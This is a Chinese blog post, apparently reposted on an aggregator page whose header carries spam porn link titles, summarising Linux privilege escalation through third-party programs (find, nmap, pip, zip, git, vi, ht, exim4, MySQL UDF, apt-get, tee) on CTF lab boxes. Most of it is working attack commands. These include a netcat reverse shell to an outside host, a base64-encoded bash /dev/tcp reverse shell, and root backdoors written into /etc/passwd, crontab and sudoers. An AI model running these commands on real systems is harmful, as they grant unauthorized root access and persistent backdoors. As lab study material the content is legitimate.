日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux通过第三方应用提权实战总结

發布時間:2024/1/23 linux 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux通过第三方应用提权实战总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Linux提權,前提是拿到了一個低權限的賬號,能上傳和下載文件,主要思路有:

1、內核提權。網上各種大佬的payload很多,關鍵在于要能找到利用哪個exp以及具體如何利用。省力點的方法是用searchsploit或者linux-exploit-suggester.sh來查找,熟悉之后難度也不大。

2、suid提權。這里也包含了sudo這種方式,兩種方法的思路都是一樣的,區別在于suid針對單個程序,sudo針對某個用戶。這類提權方式的主要思路是:管理員授權普通用戶去執行 root 權限的操作,而不需要知道 root 的密碼,合理的利用擁有root權限的程序,就可以實現提權。通常遇到的情況有:

(1)直接提權,sudo -i 就可以切換到root了;

(2)修改系統文件,如計劃任務文件、用戶文件、密碼文件、sudoers文件等,本文把這個作為彩蛋后續也講一下;

(3)修改程序本身,如果對程序有寫權限的話,直接把反彈的bash命令寫到程序里,運行程序即可提權;

(4)對程序進行溢出,部分程序通過端口可以實現和用戶的交互,這也就存在可以溢出的前提。

總的來說,suid提權難度沒有上限和下限,簡單的直接一個sudo -i命令,難的涉及到溢出,相當于在挖0day。

3、第三方應用提權。

某些程序使用root權限啟動,如果第三方服務或者程序存在漏洞或者配置問題,可以被利用來獲得root權限。相比前幾種方式,難度屬于中間,不像內核提權套路很固定,也不像suid提權方法很靈活多樣。

本文總結了常見的一些第三方應用的提權方法,所以的方法都經過實際測試,拿出來與大家相互交流和學習。(為避免文章篇幅過于冗長,每個應用具體的提權原理就不詳細介紹了,感興趣的自行查閱相關文檔)

find提權

實例1

一個典型的例子是將SUDO權限分配給find命令,以便其他用戶可以在系統中搜索特定的文件相關文件。盡管管理員可能不知道’find’命令包含用于執行命令的參數,但攻擊者可以以root特權執行命令。
拿到普通用戶權限之后,使用sudo –l查看下, 查看當前是否存在當前用戶可以調用sudo的命令,如下圖,當前用戶可以執行find命令,然后通過find命令獲取root權限。

nc正向反彈

nc反向反彈

find /var/www/dirty -exec nc 192.168.167.4 8888 -t -e /bin/sh \

實例2

查找具有特殊權限SUID的文件

find / -perm -u=s -type f 2>/dev/null

如果find以SUID權限運行,所有通過find執行的命令都會以root提權運行

通過find命令給wget命令提供SUID權限。

通過OpenSSL passwd 生成一個新的用戶hacker,密碼為hack123

openssl passwd -1 -salt hacker hack123 $1$hacker$0vnQaCNuzDe3w9d6jHfXQ0

將其追加到kali的/etc/passwd文件中

hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash

追加到passwd中

在Kali上啟動一個python服務器

python -m SimpleHTTPServer 8000

將Kali上的passwd文件下載到靶機etc目錄下并覆蓋原來的passwd文件

  • ?
wget -O passwd http://10.10.10.128:8000/passwd

然后切換到hacker用戶即可,

nmap提權

實例1

nmap被suid分配了root權限;

用nmap來提權;

實例2

當單個用戶被分配了root權限時,

nmap提權;

echo "os.execute('/bin/bash')" >> shell.nce sudo nmap -script=/tmp/shell.nce

pip提權

pip命令被分配了root權限

pip提權;

  • ?
  • ?
  • ?
TF=$(mktemp -d)echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.pysudo pip install $TF

zip提權

zip命令被分配了root權限

我們可以發現 sarang 用戶可以以 root 用戶身份權限來運行 zip 命令,那么我們就可以通過 ZIP 來進行提權:

  • ?
  • ?
TF=$(mktemp -u)sudo zip $TF /etc/hosts -T -TT ‘sh #’

還有一種可以這樣玩:先創建一個 liuwx 文件,然后在將它壓縮為zip文件,最后使用unzip-command來執行bash命令從而提權:

  • ?
touch liuwx

sudo zip /tmp/liuwx.zip /home/sarang/liuwx -T —unzip-command=”sh -c /bin/bash” tmp為可寫目錄,所以壓縮包放在tmp下;

git提權

git命令被分配了root權限

利用git來提權;

  • ?
  • ?
sudo git help add!/bin/bash

粘貼代碼到此處,然后回車完成提權;

還可以;

  • ?
sudo git help config

在末行命令模式輸入 !/bin/bash 或 !’sh’ 完成提權

screen提權

Screen是一款由GNU計劃開發的用于命令行終端切換的自由軟件。用戶可以通過該軟件同時連接多個本地或遠程的命令行會話,并在其間自由切換。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了統一的管理多個會話的界面和相應的功能。

在Screen環境下,所有的會話都獨立的運行,并擁有各自的編號、輸入、輸出和窗口緩存。用戶可以通過快捷鍵在不同的窗口下切換,并可以自由的重定向各個窗口的輸入和輸出。

仔細閱讀下41154.sh腳本的內容,具體操作步驟為:

把41154.sh的代碼分為3個文件;

將兩個c文件在本地編譯后,上傳到靶機下,更改權限后運行;

exim4提權

Exim4是在劍橋大學開發的另一種消息傳輸代理(MTA),用于在連接到Internet的Unix系統上使用。盡管exim的配置與sendmail的配置完全不同,但是可以安裝Exim代替sendmail。

sudo -l用之前的密碼試了不對,發現exim4;

查看exim4當前版本號

  • ?
/usr/sbin/exim4 —version

或者 dpkg -l | grep exim 查看包安裝情況

查找漏洞;

用法介紹;

上傳腳本;執行后成功;

vi提權

vi命令分配了root權限

運行sudo -l發現該用戶可以任意用戶執行vi,按esc后輸入:!/bin/bash直接提權至root。

  • ?
sudo /usr/bin/vi /tmp/jin

esc退出,然后輸入 :!/bin/bash ;

或者還可以;

  • ?
sudo /usr/bin/vi /tmp/jin

:set shell=/bin/sh 回車

:shell 回車

python沙箱逃逸

1337端口用python編寫的,于是嘗試python沙箱逃逸

eval(‘import(“os”).system(“whoami”)’) #查看是以什么權限運行

  • ?
eval(‘import(“os”).system(“echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2Ny4xMzEvNjY2NiAwPiYx|base64 -d|bash”)’) #反彈shell

ht編輯器

ht編輯器被分配了root權限

  • ?
  • ?
  • ?
  • ?
  • ?
Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106loneferret@Kioptrix3:~$ sudo -lUser loneferret may run the following commands on this host:(root) NOPASSWD: !/usr/bin/su(root) NOPASSWD: /usr/local/bin/ht

ht編輯器被分配root權限。如果編輯/etc/sudoers,在里面給lone這個用戶的sudo -l 權限再添加個/bin/bash,可以直接拿root的shell了。

ht運行之前要設置下,輸入export TERM=xterm

底下就是命令 f3打開 f2保存

打開sudoers,在用戶那又加了個/bin/bash指令

f2保存退出。。ctrl c

再看看sudo -l,多了命令

  • ?
  • ?
  • ?
  • ?
  • ?
loneferret@Kioptrix3:/tmp$ sudo -lUser loneferret may run the following commands on this host:(root) NOPASSWD: !/usr/bin/su(root) NOPASSWD: /usr/local/bin/ht(root) NOPASSWD: /bin/bash

sudo /bin/bash 搞定,轉成root

mysql UDF提權

查看開啟的端口發現有3306

ps -ef | grep root | grep mysql

很自然想到的MySQL UDF提權,從前面SQL注入中獲取到的信息發現數據庫版本是5.0.12,但是在上傳動態鏈接庫后導出時出錯。然而,在查看mysql數據庫時很幸運發現已經存在func表,且表中含有執行命令的函數,

mysql> use mysql Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -ADatabase changed mysql> select * from func; +-----------------------+-----+---------------------+----------+ | name | ret | dl | type | +-----------------------+-----+---------------------+----------+ | lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+ 2 rows in set (0.00 sec)mysql> select sys_exec('usermod -a -G admin john'); +--------------------------------------+ | sys_exec('usermod -a -G admin john') | +--------------------------------------+ | NULL | +--------------------------------------+ 1 row in set (0.05 sec)mysql> exit Bye john@Kioptrix4:/var/www$ sudo su - [sudo] password for john: root@Kioptrix4:~# whoami root root@Kioptrix4:~# cd /root root@Kioptrix4:~# ls congrats.txt lshell-0.9.12 root@Kioptrix4:~#

apt-get提權

執行sudo -l,發現可以免密執行adduser命令,添加一個root組的用戶

有了這個跟 root 同一組的用戶,就可以讀到一些只能root組和root讀的文件:/etc/sudoers,該文件包含了能夠讓普通用戶執行一些或者全部的root命令,如果該文件可以寫入的話,我們可以把當前用戶寫入:chounana ALL=(ALL:ALL) ALL,這樣當執行sudo su的時候,我們就可以進入到 root 了!

但現在只有讀權限:

查看sudoers文件,查看還有哪些用戶可以使用sudo執行命令,發現一個jason用戶,但是這個用戶并不存在,但是我們是可以新建用戶的,所以需要密碼(自己的密碼)才能執行這個也就沒有問題。

exit退回到saint用戶,新建jason用戶

  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
  • ?
chounana@djinn3:/home/saint$ exitexitsaint@djinn3:~$ sudo adduser jasonAdding user `jason' ...Adding new group `jason' (1005) ...Adding new user `jason' (1005) with group `jason' ...Creating home directory `/home/jason' ...Copying files from `/etc/skel' ...Enter new UNIX password: Retype new UNIX password: passwd: password updated successfullyChanging the user information for jasonEnter the new value, or press ENTER for the default Full Name []: Room Number []: Work Phone []: Home Phone []: Other []: Is the information correct? [Y/n] saint@djinn3:~$

切換到jason用戶,使用apt-get命令提權,因為用戶是自己建立的,所以密碼也當然是知道的;

  • ?
  • ?
sudo apt-get changelog apt!/bin/bash

最后一個是彩蛋環節,通過tee命令來重寫系統文件以達到提權的目的,實戰中不管修改的方式如何變化,但所要修改的文件就這3個系統文件,修改的內容也大同小異。

tee提權

這里靶機用的是teehee命令,可以寫入文件內容并不覆蓋文件原有內容,功能與tee命令類似。

雖然有密碼,但不能直接切到root,從sudo看,明顯這個teehee可以不要密碼以root身份運行,提權就靠這個程序了;

1、修改/etc/passwd用戶信息

追加一個名為hacker的用戶,將它的uid和gid也設置為root的0:

  • ?
echo “hacker::0:0:::/bin/bash” | sudo teehee -a /etc/passwd

2、修改/etc/crontab計劃任務文件

可以在/etc/crontab下寫入定時計劃,提升到root權限。

crontab介紹

Linux crontab是用來定期執行程序的命令。當安裝完成操作系統之后,默認便會啟動此任務調度命令。

f1 f2 f3 f4 f5 program其中 f1 是表示分鐘,f2 表示小時,f3 表示一個月份中的第幾日,f4 表示月份,f5 表示一個星期中的第幾天。program 表示要執行的程序。當 f1 為 * 時表示每分鐘都要執行 program,f2 為 * 時表示每小時都要執行程序,其馀類推;當 f1 為 a-b 時表示從第 a 分鐘到第 b 分鐘這段時間內要執行,f2 為 a-b 時表示從第 a 到第 b 小時都要執行,其馀類推;當 f1 為 */n 時表示每 n 分鐘個時間間隔執行一次,f2 為 */n 表示每 n 小時個時間間隔執行一次,其馀類推;當 f1 為 a, b, c,... 時表示第 a, b, c,... 分鐘要執行,f2 為 a, b, c,... 時表示第 a, b, c...個小時要執行,其馀類推 * * * * *- - - - -| | | | || | | | +----- 星期中星期幾 (0 - 7) (星期天 為0)| | | +---------- 月份 (1 - 12) | | +--------------- 一個月中的第幾天 (1 - 31)| +-------------------- 小時 (0 - 23)+------------------------- 分鐘 (0 - 59)

所以我們可以追加內容為:echo “?* root chmod 4777 /bin/sh” | sudo teehee -a /etc/crontab,表示在/etc/crontab下寫入定時計劃,一分鐘后由root用戶給 /bin/bash 命令加權限(chmod 4777即開啟suid和rwx權限):

3、修改/etc/sudoers文件

先看看本地sudoers文件的語法。cat sudoers;

仿造寫一個 charles ALL=(ALL:ALL) ALL

可以看到現在charles可以以root用戶身份運行所有命令

總結

此次對于第三方應用的提權總結就告一段落了,相對suid提權而言,第三方應用提權可查的資料更多一點,套路也相對單一點,不像suid提權需要根據程序的具體情況來處理,沒有相對固定的套路。對第三方應用提權多進行總結和歸納,當再次遇到的時候心里更有底,也就不那么慌了。

總結

以上是生活随笔為你收集整理的Linux通过第三方应用提权实战总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。